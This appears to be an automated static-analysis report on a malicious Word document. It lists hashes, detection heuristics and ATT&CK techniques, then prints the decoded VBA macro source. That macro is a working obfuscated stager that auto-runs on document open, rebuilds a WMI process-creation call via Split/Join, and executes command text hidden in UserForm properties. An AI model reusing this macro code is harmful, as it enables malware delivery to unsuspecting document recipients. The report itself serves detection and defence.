Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 683a2ea0b3953d09…

MALICIOUS

Office (OLE)

170.2 KB Created: 2020-07-28 14:40:00 Authoring application: Microsoft Office Word First seen: 2020-08-10
MD5: 87a43017c0dde906de7ec9139c3d882e SHA-1: aef4b78af475841061e17ceb6ecaa03c4ecf7f8b SHA-256: 683a2ea0b3953d097f3252a5334c7651d31c5fbe2264867e637cd30cc20140b0
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Word document containing VBA macros. The critical heuristic 'OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER' indicates the use of a hidden UserForm to execute commands. The 'Document_Open' macro is present, which is a common auto-execution vector for malicious VBA. The ClamAV detection name 'Doc.Malware.Logan-9206232-0' further confirms its malicious nature.

Heuristics 7

  • ClamAV: Doc.Malware.Logan-9206232-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Logan-9206232-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5138 bytes
SHA-256: bc1a7a3240b122ed9eed52c361ff2289de0ba0644b1dc014bbabd7cc534bb7b0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "WUJHHsotqdqct"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
JOVYOrqpcjoiamlufk.LUKZCujtkqum
End Sub


Attribute VB_Name = "JOVYOrqpcjoiamlufk"
Attribute VB_Base = "0{EDC19201-3DFB-423C-A1A7-B0B96FEA7DBA}{CDAFB6A6-8B40-45E1-8E0C-E1A6E4FBB767}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function LUKZCujtkqum()
AUTCKqgkxdsjqesnu = Chr(JOVYOrqpcjoiamlufk.Zoom + ((60 + 60) / 8))
kS7áCw = 3
Do While kS7áCw < 3 + 1
kS7áCw = kS7áCw + 2: DoEvents
UQMTQxozyydhdtqx = "WEYTEvgllfurxm"
Loop
JRSZCgmqhdrn = "83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2w83nNBugU7&&)njk&&Dnnnsn882n2i83nNBugU7&&)njk&&Dnnnsn882n2nm83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2gm83nNBugU7&&)njk&&Dnnnsn882n2t83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2" + AUTCKqgkxdsjqesnu + "83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2:83nNBugU7&&)njk&&Dnnnsn882n2w83nNBugU7&&)njk&&Dnnnsn882n2in83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2383nNBugU7&&)njk&&Dnnnsn882n2283nNBugU7&&)njk&&Dnnnsn882n2_83nNBugU7&&)njk&&Dnnnsn882n2" + JOVYOrqpcjoiamlufk.LOCMKffchmne + "83nNBugU7&&)njk&&Dnnnsn882n2ro83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2ce83nNBugU7&&)njk&&Dnnnsn882n2s83nNBugU7&&)njk&&Dnnnsn882n2s83nNBugU7&&)njk&&Dnnnsn882n2"
EIB7ÅqfeUVM = 3
Do While EIB7ÅqfeUVM < 3 + 6
EIB7ÅqfeUVM = EIB7ÅqfeUVM + 6: DoEvents
SCJGZiflxdssn = "KBPVVklvvquf"
Loop
JXNWGmmyrsld = JHCYMoaycpvpstxavaq(JRSZCgmqhdrn)
Dim htNIyY1âdCk As Integer
htNIyY1âdCk = 2
Do While htNIyY1âdCk < 2 + 3
htNIyY1âdCk = htNIyY1âdCk + 4: DoEvents
ESUHBlyobjkyyr = "BPLDTjbdewccuxgsl"
Loop
Set LKLHUncwhyakf = CreateObject(JXNWGmmyrsld)
Dim u4ÚQcypeHro As Long
u4ÚQcypeHro = InStr("YE2ßoUDAZJ8ÌU2Ô7ÇQL", "DAZJ8ÌU2Ô7ÇQL")
TCIWYrqtwnoipbop = JOVYOrqpcjoiamlufk.JIHJIhmeorjnxaql.ControlTipText
Dim uXt1âUC7Ìlhk As Integer
uXt1âUC7Ìlhk = 1
Do While uXt1âUC7Ìlhk < 1 + 3
uXt1âUC7Ìlhk = uXt1âUC7Ìlhk + 1: DoEvents
ABSCWqhpnjsfwxtru = "FRMYDpqkzidqv"
Loop
UHGSUloymknq = NN + (JXNWGmmyrsld + AUTCKqgkxdsjqesnu) + JOVYOrqpcjoiamlufk.KDRXVodpbthytulrtt.ControlTipText + TCIWYrqtwnoipbop
Dim cm7àR As Long
cm7àR = InStr("Ri7ÝKoPO1åiu", "oPO1åiu")
DLPNIxtyhczjlxgdgdo = UHGSUloymknq + JOVYOrqpcjoiamlufk.LOCMKffchmne
Dim GTLaT As Integer
GTLaT = 8
Do While GTLaT < 8 + 9
GTLaT = GTLaT + 9: DoEvents
YFXPAytvwdwslyzej = "DANUGcydmlqy"
Loop
Set RAFHQxswoyyghbca = XIUZTvietcgnbr(DLPNIxtyhczjlxgdgdo)
yhtNIy = 2
Do While yhtNIy < 2 + 5
yhtNIy = yhtNIy + 8: DoEvents
WNBHRzdrwmjujbk = "RKUYAnuceyvrw"
Loop
uiii = Array("BNSBSBBSSS", LKLHUncwhyakf. _
Create(WMVUIzrxxzjuzkbnfif, IEXSAejrhfglhod, RAFHQxswoyyghbca), "NNNNNNNSNSNSNMD")
Dim nCsIBSZFOy As Long
nCsIBSZFOy = InStr("k2ÂuKQgoHD7ÒZO", "D7ÒZO")
End Function
Function XIUZTvietcgnbr(RRIPSqdihbzpo)
Set XIUZTvietcgnbr = CreateObject(RRIPSqdihbzpo)
Dim CXgj2àMbiO As Integer
CXgj2àMbiO = 2
Do While CXgj2àMbiO < 2 + 8
CXgj2àMbiO = CXgj2àMbiO + 5: DoEvents
XANZUawakity = "TELUKefwqbgua"
Loop
XIUZTvietcgnbr.showwindow = (PRPGGydbuexr + IXHRLknoavqwky) + (GYGFTxgiucmzz + KGXTWxyjjvjnopwzj)
Dim qLVYD7v As Long
qLVYD7v = InStr("qQODODfPNf", "ODfPNf")
End Function
Function JHCYMoaycpvpstxavaq(RTOMUehyzmafyrnp)
VZOJRmldzgjbafndr = RTOMUehyzmafyrnp
Dim C8àd8åuNsf As Integer
C8àd8åuNsf = 6
Do While C8àd8åuNsf < 6 + 2
C8àd8åuNsf = C8àd8åuNsf + 3: DoEvents
AAUVYrxkbompylowqo = "DNBEXplwgirmvspzz"
Loop
YVVOHjyxtuznxug = Split _
(VZOJRmldzgjbafndr, "83nNBugU7&&)njk&&Dnnnsn882n2")
WRTyS = 4
Do While WRTyS < 4 + 6
WRTyS = WRTyS + 1: DoEvents
OIGVMvkwtwyysyhgfiz = "WGNUQbkbrwiloycgmi"
Loop
NBBAFktmvcjrlibgg = kooooo + Join(YVVOHjyxtuznxug, buuuu)
Dim FE8ÀZPIY A
... (truncated)

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